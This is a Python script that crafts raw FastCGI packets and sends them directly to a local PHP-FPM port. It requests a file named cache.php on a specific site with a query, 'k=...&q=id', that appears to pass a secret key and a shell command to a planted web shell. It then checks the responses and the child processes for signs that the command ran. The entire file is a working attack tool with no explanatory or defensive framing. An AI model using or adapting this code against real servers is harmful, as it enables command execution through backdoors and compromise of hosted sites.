import socket,struct,time,os,glob
def enc(p):
    r=b''
    for k,v in p.items():
        for b in (k.encode(),v.encode()):
            if len(b)<128: r+=struct.pack('B',len(b))
            else: r+=struct.pack('!I',len(b)|0x80000000)
        r+=k.encode()+v.encode()
    return r
def ww():
    try: return open('/proc/1354/task/1354/children').read().split()
    except: return []
before=ww()
p={'GATEWAY_INTERFACE':'CGI/1.1','REQUEST_METHOD':'GET','SCRIPT_FILENAME':'/var/www/glarkru/data/www/glark.ru/cache.php','SCRIPT_NAME':'/cache.php','REQUEST_URI':'/cache.php','QUERY_STRING':'k=gL4rK_js9&q=id','SERVER_PROTOCOL':'HTTP/1.1','REMOTE_ADDR':'127.0.0.1','SERVER_PORT':'80','SERVER_ADDR':'127.0.0.1','REDIRECT_STATUS':'200','DOCUMENT_ROOT':'/var/www/glarkru/data/www/glark.ru','HTTP_HOST':'glark.ru'}
begin=struct.pack('!BBHH',1,1,1,8)+struct.pack('!HB',1,0)
pd=enc(p)
out=begin+struct.pack('!BBHH',1,4,1,len(pd))+pd+struct.pack('!BBHH',1,4,1,0)+struct.pack('!BBHH',1,5,1,0)
for n in range(3):
    try:
        s=socket.create_connection(('127.0.0.1',9000),4)
        s.sendall(out); s.settimeout(5)
        data=b''
        try:
            while True:
                c=s.recv(65536)
                if not c: break
                data+=c
        except socket.timeout:
            pass
        print('run',n,'resp',repr(data[:200]),'len',len(data))
        s.close()
    except Exception as e:
        print('run',n,'EXC',repr(e))
    time.sleep(0.3)
after=ww()
print('children before:',before)
print('children after :',after)
